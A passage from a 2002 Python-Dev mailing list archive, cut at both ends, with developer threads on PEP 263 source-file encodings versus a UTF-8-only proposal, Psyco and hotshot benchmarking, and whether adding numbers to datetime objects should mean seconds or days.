> the parser than I can expand on this, it seems that
> Python programs are 8-bit strings.  

That's correct, although the language definition explicitly says that
usage of bytes above 128 is undefined. So Python programs, from the
point of the language definition, are ASCII strings.

> Therefore I argue that it makes no sense to use "coding:" to label a
> Python file, because the file doesn't consist of Unicode text.

You need to distinguish between the file on disk, and the text
processed by the parser (something that the current parser doesn't do,
except for line endings). This PEP proposes to change the way how it
is currently done. If there was no change, it would not be a "Python
Enhancement Proposal"

Regards,
Martin

(*) If no encoding is declared, they must follow the system encoding.
(**) The list of accepted source encodings remains
implementation-defined; each Python release should spell out its list
of supported encodings.


From twisted@itamarst.org  Fri Mar  1 23:16:05 2002
From: twisted@itamarst.org (Itamar Shtull-Trauring)
Date: Fri, 01 Mar 2002 18:16:05 -0500
Subject: [Python-Dev] Psyco testing results
Message-ID: <3C800BB5.5070300@itamarst.org>

I downloaded psyco yesterday and did some tests (Python 2.1, P3/866). It 
works!

Basically, the key point is that you need to psyco.bind on the right 
functions. Doing psyco.gc() just slows things down. It takes a bit of 
testing to find out which functions to do it on.

Results:
pystone without psyco: 9000
pystone with psyco: 32000!!! (I did psyco.bind(Proc0) in psytone.py)
pystone with psyco.gc(): 4500

So pystone can speed things up by a factor of 3 on meaningless benchmarks ;)

I also got a small speedup in twisted.web - 305-320 hits/second instead 
of 275-285 hits/second, by doing psyco.bind on the function that runs 
select.select() (Twisted's equivalent of asyncore.poll()).



From skip@pobox.com  Sat Mar  2 17:35:37 2002
From: skip@pobox.com (Skip Montanaro)
Date: Sat, 2 Mar 2002 11:35:37 -0600
Subject: [Python-Dev] Psyco testing results
In-Reply-To: <3C800BB5.5070300@itamarst.org>
References: <3C800BB5.5070300@itamarst.org>
Message-ID: <15489.3433.63268.161284@12-248-41-177.client.attbi.com>

    Itamar> Basically, the key point is that you need to psyco.bind on the
    Itamar> right functions.

Sounds like a job for hotshot:

    http://starship.python.net/crew/fdrake/talks/IPC10-HotShot-2002-Feb-06.ppt
    http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Lib/hotshot/

    Itamar> Doing psyco.gc() just slows things down.

Not sure what psyco.gc is (I don't see it after importing psyco), but I got
3.7x speedup binding Proc0, Proc1, & Proc8.  I also instrumented Proc0 to
make sure the values of IntLoc1, IntLoc2, and IntLoc3 were the same before
and after psyco-izing.

Skip


From aahz@rahul.net  Sat Mar  2 17:36:43 2002
From: aahz@rahul.net (Aahz Maruch)
Date: Sat, 2 Mar 2002 09:36:43 -0800 (PST)
Subject: [Python-Dev] Psyco testing results
In-Reply-To: <3C800BB5.5070300@itamarst.org> from "Itamar Shtull-Trauring" at Mar 01, 2002 06:16:05 PM
Message-ID: <20020302173643.A949FE8F6@waltz.rahul.net>

Itamar Shtull-Trauring wrote:
> 
> Results:
> pystone without psyco: 9000
> pystone with psyco: 32000!!! (I did psyco.bind(Proc0) in psytone.py)
> pystone with psyco.gc(): 4500
> 
> So pystone can speed things up by a factor of 3 on meaningless benchmarks ;)

3.5.  ;-)  Hey!  If you're measuring something meaningless, might as
well measure it accurately.
-- 
                      --- Aahz (@pobox.com)

Hugs and backrubs -- I break Rule 6       <*>       http://www.rahul.net/aahz/
Androgynous poly kinky vanilla queer het Pythonista

We must not let the evil of a few trample the freedoms of the many.


From twisted@itamarst.org  Sat Mar  2 05:51:36 2002
From: twisted@itamarst.org (Itamar Shtull-Trauring)
Date: Sat, 02 Mar 2002 00:51:36 -0500
Subject: [Python-Dev] Psyco testing results
References: <3C800BB5.5070300@itamarst.org> <15489.3433.63268.161284@12-248-41-177.client.attbi.com>
Message-ID: <3C806868.3050305@itamarst.org>

Skip Montanaro wrote:
>     Itamar> Basically, the key point is that you need to psyco.bind on the
>     Itamar> right functions.
> 
> Sounds like a job for hotshot:
> 
>     http://starship.python.net/crew/fdrake/talks/IPC10-HotShot-2002-Feb-06.ppt
>     http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Lib/hotshot/

Not exactly. I tried binding functions hotshot said were using a lot of 
CPU time, and it didn't always help. But certainly hotshot helped 
finding which ones to try.

On the subject of hotshot - I made a command line hotshot profiler so 
you can use it easily, as with the standard profiler (download it from 
http://itamarst.org/software/). It's great! Unlike the standard profiler 
the results are much nearer to reality since the profiler isn't using 
half your CPU time.

Doing some testing, I noticed some results that were obviously wrong. A 
function that is listed as using 2 seconds of time, when a consequent 
run only said 0.003 or something. Since this was a function that 
basically did:

     if self.tasks:
         return 0.0
     else:
         return None

and it was run a similar number of times (and no threads), I suspect the 
  2 seconds result was totally bogus. Unfortanutely I didn't remember to 
keep the hotshot logs. This happened at least twice that I noticed.







From neal@metaslash.com  Sun Mar  3 14:29:01 2002
From: neal@metaslash.com (Neal Norwitz)
Date: Sun, 03 Mar 2002 09:29:01 -0500
Subject: [Python-Dev] datetime +/- scalars (int, long, float)?
References: <E16hI4b-0003Ih-00@usw-pr-cvs1.sourceforge.net>
Message-ID: <3C82332D.76B86CB6@metaslash.com>

Would it be good to allow adding/subtracting scalars (int, long, float) 
to/from date/times?  The scalar value would be # of seconds.

So:
	dt = datetime() # some date/time
	dt + 5   # would add 5 seconds
	dt + 5.3 # would add 5 seconds 300000 usecs

If so, attached is a patch.

Neal
--
Index: sandbox/datetime/datetime.py
===================================================================
RCS file: /cvsroot/python/python/nondist/sandbox/datetime/datetime.py,v
retrieving revision 1.22
diff -w -u -r1.22 datetime.py
--- sandbox/datetime/datetime.py        3 Mar 2002 06:11:54 -0000       1.22
+++ sandbox/datetime/datetime.py        3 Mar 2002 14:26:19 -0000
@@ -590,6 +590,13 @@
             result.__microsecond = us
             result.__tzoffset = self.__tzoffset
             return result
+        elif isinstance(other, (int, long)):
+            return self + timedelta(0, other)
+        elif isinstance(other, float):
+            # XXX not sure if float needs it's own condition or
+            # XXX should work the same as int/long
+            ss, us = divmod(other, 1000000)
+            return self + timedelta(0, ss, int(us))
         return NotImplemented
 
     __radd__ = __add__
@@ -598,6 +605,13 @@
         "Subtract two datetimes, or a datetime and a timedelta."
         if isinstance(other, timedelta):
             return self + -other
+        elif isinstance(other, (int, long)):
+            return self + -timedelta(0, other)
+        elif isinstance(other, float):
+            # XXX not sure if float needs it's own condition or
+            # XXX should work the same as int/long
+            ss, us = divmod(other, 1000000)
+            return self + -timedelta(0, ss, int(us))
         if isinstance(other, datetime):
             days1 = self.toordinal()
             days2 = other.toordinal()


From guido@python.org  Sun Mar  3 20:05:02 2002
From: guido@python.org (Guido van Rossum)
Date: Sun, 03 Mar 2002 15:05:02 -0500
Subject: [Python-Dev] datetime +/- scalars (int, long, float)?
In-Reply-To: Your message of "Sun, 03 Mar 2002 09:29:01 EST."
 <3C82332D.76B86CB6@metaslash.com>
References: <E16hI4b-0003Ih-00@usw-pr-cvs1.sourceforge.net>
 <3C82332D.76B86CB6@metaslash.com>
Message-ID: <200203032005.g23K52w25153@pcp742651pcs.reston01.va.comcast.net>

> Would it be good to allow adding/subtracting scalars (int, long, float) 
> to/from date/times?  The scalar value would be # of seconds.
> 
> So:
> 	dt = datetime() # some date/time
> 	dt + 5   # would add 5 seconds
> 	dt + 5.3 # would add 5 seconds 300000 usecs

Yes, I think so.  Timedelta should also support this, I believe.
Thanks for the patch!  Of course, the test suite needs to be augmented
too.

BTW, we prefer comments and edits to the Wiki over the mailing list:

http://www.zope.org/Members/fdrake/DateTimeWiki/FrontPage

I've added this already.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From stephen@xemacs.org  Mon Mar  4 03:57:48 2002
From: stephen@xemacs.org (Stephen J. Turnbull)
Date: 04 Mar 2002 12:57:48 +0900
Subject: [Python-Dev] forwarded message from Stephen J. Turnbull
In-Reply-To: <m3bse8q9bo.fsf@mira.informatik.hu-berlin.de>
References: <15487.53317.247984.140496@anthem.wooz.org>
 <m3bse8q9bo.fsf@mira.informatik.hu-berlin.de>
Message-ID: <87d6yl6l37.fsf@tleepslib.sk.tsukuba.ac.jp>

>>>>> "Martin" == Martin v Loewis <martin@v.loewis.de> writes:

    Martin> I'm not sure whether he still has his original position
    Martin> "do not allow multiple source encodings to enter the
    Martin> language", which, to me, translates into "source encodings
    Martin> are always UTF-8".

Yes, it is.  I feel that it is possible to support the users who want
to use national encodings AND define the language in terms of a single
coded character set, as long as that set is Unicode.  The usual
considerations of file system safety and standard C library
compatibility dictate that the transformation format be UTF-8.  (Below
I will just write "UTF-8" as is commonly done.)

My belief is that the proposal below has the same effect on most users
most of the time as PEP 263, while not committing Python to indefinite
support of a subsystem that will certainly be obsolete for new code in
5 years, and most likely within 2 (at least for people using open
source and major vendor tools, I don't know what legacy editors people
may be using on "big iron" and whatnot).

    Martin> If that is the route to take, PEP 263 should be REJECTED,
    Martin> in favour of only tightening the Python language
    Martin> definition to only allow UTF-8 source code.

I think so.

    Martin> For Python, it probably would have to go to the second
    Martin> line, with the rationale given in the Emacs manual: the
    Martin> first line is often used for #!.

Precisely.

I do not have time or the background to do a formal counter-PEP for
several weeks (likely late April), since I'd have to do a fair amount
of research into both Python internals and PEP procedure.  I'd be
happy to consult if someone who does know those wants to take it and
run with it.

Here's the bones:

1.  a.  Python source code is encoded in UTF-8, with the full UTF-32
    character set.  The parser proper will reject as corrupted
    anything that doesn't have the characteristic UTF-8 leading-byte
    trailing-bytes signature.

    b.  Some provision must be made for systematic handling of private
    characters.  Ie, there should be a possibility to register and be
    dynamically a block from private space.  You also need to be able
    to request a specific block and move blocks, because many vendors
    (Apple and Microsoft spring immediately to mind) allow their apps
    to use fixed blocks in private space for vendor character sets.
    At this stage it suffices to simply advise that any fixed use of
    the private space is likely to conflict with future standards for
    sharing that space.

    c.  This proposal takes no stand on the use of non-ASCII in
    keywords and identifiers.

Accomodation of existing usage:

2.  Python is a scripting language already in widespread use with
    ambitions of longevity; provision must be made for quick hacks and
    legacy code.  This will be done via a preprocessing hook and
    (possibly) i/o hooks.

    The preprocessing hook is a filter which is run to transform the
    source code buffer on input.  It is the first thing done.  Python
    (the language) will never put anything on that hook; any code that
    requires a non-null hook to function is not "true" Python.  Thus
    there need be no specification for the hook[1]; anything the user
    puts on the hook is part of their environment.  The preprocessing
    hook can be disabled via a command line switch and possibly an
    environment variable (it might even make sense for the hook
    function to be named in an environment variable, in which case a
    null value would disable it).

    The intended use is a codec to be run on the source buffer to
    convert to UTF-8.

3.  The I/O hooks would be analogous, although you run into the usual
    problems that many I/O channels obey much less stringent
    consistency conditions than files, and in general need not be
    rewindable.  A similar hook would presumably be desirable for
    primitive functions that "eval" strings.

4.  It probably won't be possible to simply plug in existing codecs
    without specifying the hook too precisely.  Therefore Python
    should provide a library of codec wrappers for hanging on the
    hook.

5.  Users who wish to use non-UTF-8 encodings are strongly advised to
    use the "coding-cookie-in-comment at top of file" convention.  This
    convention is already supported by at least GNU Emacs and XEmacs
    (modulo XEmacs's "first line only bug") and should be easily
    implemented in other editors, including IDLE.  To encourage this,
    the library mentioned in 4 should provide an "autorecognition"
    codec with at least the features that (1) it recognizes and acts
    on coding cookies, with good, verbose error messages if
    "corruption" is detected; (2) it recognizes and acts on the UTF-8
    BOM, with "good" error messages; and (3) otherwise it defaults to
    UTF-8, with "good" error messages.

    This would allow the "naked" interpreter to just give a terse
    "that ain't UTF-8" message.  The "naked" interpreter might want to
    error on a coding cookie.  I think a coding cookie of "utf-8"
    should probably be considered an error, as it indicates that the
    user doesn't know the language spec.<wink>  It might be desirable
    to extend feature (2) to other Unicode BOMs.

    Experience with Emacs Mule suggests that "smart" autorecognition
    (eg of ISO 2022 versions) is not something that Python should
    support as a standard feature, although the preprocessor hook
    would allow optional modules for this purpose to added easily.
    Another "smart" hook function might make assumptions based on
    POSIX locale, etc.

6.  Some provision will probably need to be made for strings.

    Ordinary strings might need to be converted to Unicode or not,
    depending on how non-UTF-8 I/O channels are supported.  So the
    "codec wrappers" mentioned in 2, 3, 4, and 5 would probably need
    to understand Python string syntax, and it might be useful to have
    a "newt string" type.  A "newt string" would _always_ be protected
    from conversion to Unicode (and would have a minimal API to force
    programmers to not use them 'til "it got bettah").

    Unicode strings would be exactly that, and legacy strings would
    have semantics depending on the stage of the transition to
    Unicode-only, and possibly the user's environment.


Footnotes: 
[1]  Well, you could try to make that stick.

-- 
Institute of Policy and Planning Sciences     http://turnbull.sk.tsukuba.ac.jp
University of Tsukuba                    Tennodai 1-1-1 Tsukuba 305-8573 JAPAN
              Don't ask how you can "do" free software business;
              ask what your business can "do for" free software.


From aahz@rahul.net  Mon Mar  4 04:26:32 2002
From: aahz@rahul.net (Aahz Maruch)
Date: Sun, 3 Mar 2002 20:26:32 -0800 (PST)
Subject: [Python-Dev] Unicode, again
In-Reply-To: <87d6yl6l37.fsf@tleepslib.sk.tsukuba.ac.jp> from "Stephen J. Turnbull" at Mar 04, 2002 12:57:48 PM
Message-ID: <20020304042632.13D6FE8DA@waltz.rahul.net>

Being someone who knows little about Unicode and being something of a
7-bit ASCII snob, could someone clarify for me whether the UTF-8
proposal would cause any difficulty with a pure-ASCII file?  Or would I
have to give up the vi-compatible mode of vim?
-- 
                      --- Aahz (@pobox.com)

Hugs and backrubs -- I break Rule 6       <*>       http://www.rahul.net/aahz/
Androgynous poly kinky vanilla queer het Pythonista

We must not let the evil of a few trample the freedoms of the many.


From fdrake@acm.org  Mon Mar  4 04:29:20 2002
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Sun, 3 Mar 2002 23:29:20 -0500
Subject: [Python-Dev] Unicode, again
In-Reply-To: <20020304042632.13D6FE8DA@waltz.rahul.net>
References: <87d6yl6l37.fsf@tleepslib.sk.tsukuba.ac.jp>
 <20020304042632.13D6FE8DA@waltz.rahul.net>
Message-ID: <15490.63520.73380.61923@grendel.zope.com>

Aahz Maruch writes:
 > Being someone who knows little about Unicode and being something of a
 > 7-bit ASCII snob, could someone clarify for me whether the UTF-8
 > proposal would cause any difficulty with a pure-ASCII file?  Or would I
 > have to give up the vi-compatible mode of vim?

Pure 7-bit ASCII is good as UTF-8; there may be some quirks with
control characters, but I'm not aware of anything specific.  The
difference between ASCII and UTF-9 starts at the 8th bit, so pure
ASCII (not Latin-1) should be quite happy in a UTF-8 world.


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From nhodgson@bigpond.net.au  Mon Mar  4 05:21:19 2002
From: nhodgson@bigpond.net.au (Neil Hodgson)
Date: Mon, 4 Mar 2002 16:21:19 +1100
Subject: [Python-Dev] forwarded message from Stephen J. Turnbull
References: <15487.53317.247984.140496@anthem.wooz.org><m3bse8q9bo.fsf@mira.informatik.hu-berlin.de> <87d6yl6l37.fsf@tleepslib.sk.tsukuba.ac.jp>
Message-ID: <013d01c1c33c$6a9ad2b0$0acc8490@neil>

Stephen J. Turnbull:
>     The preprocessing hook is a filter which is run to transform the
>     source code buffer on input.  It is the first thing done.  Python
>     (the language) will never put anything on that hook; any code that
>     requires a non-null hook to function is not "true" Python.  Thus
>     there need be no specification for the hook[1]; anything the user
>     puts on the hook is part of their environment.  The preprocessing
>     hook can be disabled via a command line switch and possibly an
>     environment variable (it might even make sense for the hook
>     function to be named in an environment variable, in which case a
>     null value would disable it).

   How does this spill into modules imported from the main script? Will
compiled modules need to have a hook marker, so they can be regenerated when
called with a different hook function?

   Neil




From stephen@xemacs.org  Mon Mar  4 06:18:45 2002
From: stephen@xemacs.org (Stephen J. Turnbull)
Date: 04 Mar 2002 15:18:45 +0900
Subject: [Python-Dev] forwarded message from Stephen J. Turnbull
In-Reply-To: <013d01c1c33c$6a9ad2b0$0acc8490@neil>
References: <15487.53317.247984.140496@anthem.wooz.org>
 <m3bse8q9bo.fsf@mira.informatik.hu-berlin.de>
 <87d6yl6l37.fsf@tleepslib.sk.tsukuba.ac.jp>
 <013d01c1c33c$6a9ad2b0$0acc8490@neil>
Message-ID: <87d6yk6eka.fsf@tleepslib.sk.tsukuba.ac.jp>

>>>>> "Neil" == Neil Hodgson <nhodgson@bigpond.net.au> writes:

    Neil>    How does this spill into modules imported from the main
    Neil> script? Will compiled modules need to have a hook marker, so
    Neil> they can be regenerated when called with a different hook
    Neil> function?

I would say no; the hook function is the user's problem.

In PEP 263, of course, the answer would be yes.  Do you automatically
recompile modules just because Python has been upgraded?  If not, PEP
263 has the same issue.  If you do, then everything in the system with
a coding cookie has to get recompiled every time you fix the coding
system support---which will be often[1].

Safety probably requires that a non-Unicode module be recompiled every
time the hook function changes, which implicitly means at least on
every invocation of the python interpreter.  Alternatively, since it's
the non-Unicode encoding that is the weak link (see footnote 1)
anyway, you could just say "not our problem, man, if you want
reliability use a reliable encoding: UTF-8."  This is what I see as
the main advantage of my proposal over PEP 263.

Note that any issues like this that cause trouble in my proposal will
usually map directly into similar problems for PEP 263.  PEP 263 may
actually have more trouble dealing with them since it will be strongly
tempted to have C code doing more than just calling an external Python
module.


Footnotes: 
[1]  Codecs are easy to write correctly if "correctly" is defined by
reference to a well-written published standard such as the Unicode
Standard, ISO 8859, or even ISO 2022.  Trying to make them do the
right thing in the face of massive nonconformance by users and
vendors---eg, I'm told Microsoft apps de facto allow the EURO SIGN in
Windows-125x-encoded documents, although AFAIK the Windows 125x
definition has never been changed to permit this---is what is hard.

-- 
Institute of Policy and Planning Sciences     http://turnbull.sk.tsukuba.ac.jp
University of Tsukuba                    Tennodai 1-1-1 Tsukuba 305-8573 JAPAN
              Don't ask how you can "do" free software business;
              ask what your business can "do for" free software.


From martin@v.loewis.de  Mon Mar  4 08:00:44 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 04 Mar 2002 09:00:44 +0100
Subject: [Python-Dev] Unicode, again
In-Reply-To: <20020304042632.13D6FE8DA@waltz.rahul.net>
References: <20020304042632.13D6FE8DA@waltz.rahul.net>
Message-ID: <m3pu2kzrrn.fsf@mira.informatik.hu-berlin.de>

aahz@rahul.net (Aahz Maruch) writes:

> Being someone who knows little about Unicode and being something of a
> 7-bit ASCII snob, could someone clarify for me whether the UTF-8
> proposal would cause any difficulty with a pure-ASCII file?  Or would I
> have to give up the vi-compatible mode of vim?

UTF-8 is an "ASCII superset" in the sense that a UTF-8 text consisting
only of ASCII characters is byte-for-byte identical to the same text,
encoded in ASCII.

Regards,
Martin



From mal@lemburg.com  Mon Mar  4 10:54:00 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Mon, 04 Mar 2002 11:54:00 +0100
Subject: [Python-Dev] datetime +/- scalars (int, long, float)?
References: <E16hI4b-0003Ih-00@usw-pr-cvs1.sourceforge.net>
 <3C82332D.76B86CB6@metaslash.com> <200203032005.g23K52w25153@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <3C835248.DCC717AA@lemburg.com>

Guido van Rossum wrote:
> 
> > Would it be good to allow adding/subtracting scalars (int, long, float)
> > to/from date/times?  The scalar value would be # of seconds.
> >
> > So:
> >       dt = datetime() # some date/time
> >       dt + 5   # would add 5 seconds
> >       dt + 5.3 # would add 5 seconds 300000 usecs
> 
> Yes, I think so.  Timedelta should also support this, I believe.
> Thanks for the patch!  Of course, the test suite needs to be augmented
> too.
> 
> BTW, we prefer comments and edits to the Wiki over the mailing list:
> 
> http://www.zope.org/Members/fdrake/DateTimeWiki/FrontPage
> 
> I've added this already.

Hope you don't mind ;-) ...

You should name the type timestamp if you want to imply dt + n
== dt + n seconds. datetime + n is commonly understood as
dt + n *days*.

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From guido@python.org  Mon Mar  4 13:02:16 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 04 Mar 2002 08:02:16 -0500
Subject: [Python-Dev] datetime +/- scalars (int, long, float)?
In-Reply-To: Your message of "Mon, 04 Mar 2002 11:54:00 +0100."
 <3C835248.DCC717AA@lemburg.com>
References: <E16hI4b-0003Ih-00@usw-pr-cvs1.sourceforge.net> <3C82332D.76B86CB6@metaslash.com> <200203032005.g23K52w25153@pcp742651pcs.reston01.va.comcast.net>
 <3C835248.DCC717AA@lemburg.com>
Message-ID: <200203041302.g24D2Gw26869@pcp742651pcs.reston01.va.comcast.net>

> Hope you don't mind ;-) ...

Not at all, we're hoping to arrive at something usable and fun for all!

> You should name the type timestamp if you want to imply dt + n
> == dt + n seconds. datetime + n is commonly understood as
> dt + n *days*.

Hm, I hadn't thought of that.  To me seconds are the only thing that
makes sense because that's what a Unix timestamp does, but I haven't
read or written a lot of commercial code using date/time data.

Is this just an mxDateTime convention, or is it in wider use?  (URLs
of docs of other languages / libraries would really help to convince
me!)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From jacobs@penguin.theopalgroup.com  Mon Mar  4 13:37:04 2002
From: jacobs@penguin.theopalgroup.com (Kevin Jacobs)
Date: Mon, 4 Mar 2002 08:37:04 -0500 (EST)
Subject: [Python-Dev] datetime +/- scalars (int, long, float)?
In-Reply-To: <200203041302.g24D2Gw26869@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <Pine.LNX.4.44.0203040834510.16020-100000@penguin.theopalgroup.com>

On Mon, 4 Mar 2002, Guido van Rossum wrote:
> > You should name the type timestamp if you want to imply dt + n
> > == dt + n seconds. datetime + n is commonly understood as
> > dt + n *days*.
[...] 
> Is this just an mxDateTime convention, or is it in wider use?  (URLs
> of docs of other languages / libraries would really help to convince
> me!)

I'm afraid that this really is the de-facto standard.  However, lets be
clear; is t=t+1 adding 1 (calendar) day or 24 hours (86400 seconds)?

-Kevin

--
Kevin Jacobs
The OPAL Group - Enterprise Systems Architect
Voice: (216) 986-0710 x 19         E-mail: jacobs@theopalgroup.com
Fax:   (216) 986-0714              WWW:    http://www.theopalgroup.com




From mwh@python.net  Mon Mar  4 13:48:43 2002
From: mwh@python.net (Michael Hudson)
Date: 04 Mar 2002 13:48:43 +0000
Subject: [Python-Dev] datetime +/- scalars (int, long, float)?
In-Reply-To: Kevin Jacobs's message of "Mon, 4 Mar 2002 08:37:04 -0500 (EST)"
References: <Pine.LNX.4.44.0203040834510.16020-100000@penguin.theopalgroup.com>
Message-ID: <2mofi4l9z8.fsf@starship.python.net>

Kevin Jacobs <jacobs@penguin.theopalgroup.com> writes:

> On Mon, 4 Mar 2002, Guido van Rossum wrote:
> > > You should name the type timestamp if you want to imply dt + n
> > > == dt + n seconds. datetime + n is commonly understood as
> > > dt + n *days*.
> [...] 
> > Is this just an mxDateTime convention, or is it in wider use?  (URLs
> > of docs of other languages / libraries would really help to convince
> > me!)
> 
> I'm afraid that this really is the de-facto standard.  However, lets be
> clear; is t=t+1 adding 1 (calendar) day or 24 hours (86400 seconds)?

Wouldn't this fall into the "explicit is better than implicit" bin?
I.e. t + 1 should be an error?

Cheers,
M.

-- 
  US elections
  For those of you fearing that the rest of the world might be 
  making fun of the US because of this: Rest assured, we are.
         -- http://www.advogato.org/person/jameson/diary.html?start=12


From mal@lemburg.com  Mon Mar  4 13:50:43 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Mon, 04 Mar 2002 14:50:43 +0100
Subject: [Python-Dev] datetime +/- scalars (int, long, float)?
References: <E16hI4b-0003Ih-00@usw-pr-cvs1.sourceforge.net> <3C82332D.76B86CB6@metaslash.com> <200203032005.g23K52w25153@pcp742651pcs.reston01.va.comcast.net>
 <3C835248.DCC717AA@lemburg.com> <200203041302.g24D2Gw26869@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <3C837BB3.CF23D07B@lemburg.com>

Guido van Rossum wrote:
> 
> > Hope you don't mind ;-) ...
> 
> Not at all, we're hoping to arrive at something usable and fun for all!
> 
> > You should name the type timestamp if you want to imply dt + n
> > == dt + n seconds. datetime + n is commonly understood as
> > dt + n *days*.
> 
> Hm, I hadn't thought of that.  To me seconds are the only thing that
> makes sense because that's what a Unix timestamp does, but I haven't
> read or written a lot of commercial code using date/time data.
> 
> Is this just an mxDateTime convention, or is it in wider use?  (URLs
> of docs of other languages / libraries would really help to convince
> me!)

I'm not sure how wide-spread this convention is, but the mxDateTime
users pushed me to it, so there must be some general understanding
in that direction out there ;-)

In mxDateTime I use the following conventions:

	DateTime + n: add n days (each having 86400.0 seconds, so fractions
	              are possible too)

	DateTimeDelta + n: add n seconds

It is of course prevered to write:

	DateTime(...) + DateTimeDelta(...)
	or
	DateTime(...) + RelativeDateTime(...)

since this is more exlicit. There are also a few constants to
make this even easier:

	DateTime(...) + 10 * oneSecond - 20 * oneMinute

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From guido@python.org  Mon Mar  4 14:02:28 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 04 Mar 2002 09:02:28 -0500
Subject: [Python-Dev] datetime +/- scalars (int, long, float)?
In-Reply-To: Your message of "Mon, 04 Mar 2002 08:37:04 EST."
 <Pine.LNX.4.44.0203040834510.16020-100000@penguin.theopalgroup.com>
References: <Pine.LNX.4.44.0203040834510.16020-100000@penguin.theopalgroup.com>
Message-ID: <200203041402.g24E2Sx26997@pcp742651pcs.reston01.va.comcast.net>

[MAL]
> > > You should name the type timestamp if you want to imply dt + n
> > > == dt + n seconds. datetime + n is commonly understood as
> > > dt + n *days*.
> [...] 

[me]
> > Is this just an mxDateTime convention, or is it in wider use?  (URLs
> > of docs of other languages / libraries would really help to convince
> > me!)

[Kevin]
> I'm afraid that this really is the de-facto standard.

Then I propose to remove the feature of automatic mixing
int/long/float and datetime or timedelta instances in add/subtract
operations.  You'll have to specify what you want using a
timedelta(days, seconds) constructor.  That's clearer anyway.

> However, lets be clear; is t=t+1 adding 1 (calendar) day or 24 hours
> (86400 seconds)?

How does it differ?  (We already ignore leap seconds.)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From larsga@garshol.priv.no  Mon Mar  4 14:14:02 2002
From: larsga@garshol.priv.no (Lars Marius Garshol)
Date: 04 Mar 2002 15:14:02 +0100
Subject: [Python-Dev] Unicode, again
In-Reply-To: <15490.63520.73380.61923@grendel.zope.com>
References: <87d6yl6l37.fsf@tleepslib.sk.tsukuba.ac.jp>
 <20020304042632.13D6FE8DA@waltz.rahul.net>
 <15490.63520.73380.61923@grendel.zope.com>
Message-ID: <m3n0xobetx.fsf@pc36.avidiaasen.online.no>

* Fred L. Drake, Jr.
| 
| Pure 7-bit ASCII is good as UTF-8; there may be some quirks with
| control characters, but I'm not aware of anything specific.  

There isn't. Those characters are valid Unicode characters and have
the same semantics in Unicode. There is no interaction with the UTF-8
encoding, as all characters below U+0080 are just treated as being
directly encoded in 8 bits.

| The difference between ASCII and UTF-9 starts at the 8th bit, so
| pure ASCII (not Latin-1) should be quite happy in a UTF-8 world.

UTF-9 is a typo for UTF-8, right?

-- 
Lars Marius Garshol, Ontopian         <URL: http://www.ontopia.net >
ISO SC34/WG3, OASIS GeoLang TC        <URL: http://www.garshol.priv.no >



From jacobs@penguin.theopalgroup.com  Mon Mar  4 14:24:25 2002
From: jacobs@penguin.theopalgroup.com (Kevin Jacobs)
Date: Mon, 4 Mar 2002 09:24:25 -0500 (EST)
Subject: [Python-Dev] datetime +/- scalars (int, long, float)?
In-Reply-To: <200203041402.g24E2Sx26997@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <Pine.LNX.4.44.0203040902520.16356-100000@penguin.theopalgroup.com>

> [Guido]
> Then I propose to remove the feature of automatic mixing
> int/long/float and datetime or timedelta instances in add/subtract
> operations.  You'll have to specify what you want using a
> timedelta(days, seconds) constructor.  That's clearer anyway.

I much prefer this.  My own datetime object uses a syntax like this:

  t = t + Delta(days=1,minutes=-5,seconds=5)

> > However, lets be clear; is t=t+1 adding 1 (calendar) day or 24 hours
> > (86400 seconds)?
> 
> How does it differ?  (We already ignore leap seconds.)

The concept of a "day" can be somewhat ambiguous.  I've seen datetime
implementations that will apply DST changes when asked to adjust by days,
but not when asked to adjust by seconds, hours or minutes.  So, in the general
case of a DST aware datetime object,

  t + Delta(days=1) != t + Delta(hours=24)

even when ignoring leap-seconds and other micro-adjustments.  So lets define
adjustments by "days" for the base datetime object in terms of 86400.0
seconds.  A DST aware datetime subclass can then be made that does the more
complex day-based arithmetic.

-Kevin

--
Kevin Jacobs
The OPAL Group - Enterprise Systems Architect
Voice: (216) 986-0710 x 19         E-mail: jacobs@theopalgroup.com
Fax:   (216) 986-0714              WWW:    http://www.theopalgroup.com



From guido@python.org  Mon Mar  4 14:39:50 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 04 Mar 2002 09:39:50 -0500
Subject: [Python-Dev] forwarded message from Stephen J. Turnbull
In-Reply-To: Your message of "04 Mar 2002 12:57:48 +0900."
 <87d6yl6l37.fsf@tleepslib.sk.tsukuba.ac.jp>
References: <15487.53317.247984.140496@anthem.wooz.org> <m3bse8q9bo.fsf@mira.informatik.hu-berlin.de>
 <87d6yl6l37.fsf@tleepslib.sk.tsukuba.ac.jp>
Message-ID: <200203041439.g24Edo527330@pcp742651pcs.reston01.va.comcast.net>

[Stephen J. Turnbull]
> [...]  I feel that it is possible to support the users who want
> to use national encodings AND define the language in terms of a single
> coded character set, as long as that set is Unicode.  The usual
> considerations of file system safety and standard C library
> compatibility dictate that the transformation format be UTF-8.  (Below
> I will just write "UTF-8" as is commonly done.)
> 
> My belief is that the proposal below has the same effect on most users
> most of the time as PEP 263, while not committing Python to indefinite
> support of a subsystem that will certainly be obsolete for new code in
> 5 years, and most likely within 2 (at least for people using open
> source and major vendor tools, I don't know what legacy editors people
> may be using on "big iron" and whatnot).

If your concern is that PEP 263 will bind us to indefinite support of
the encoding cookie feature, I propose to add a "sunset provision" to
the PEP, just as is commonly done to U.S. laws so that they expire
after a certain date.

I think it's a good idea to consider your hook proposal as an
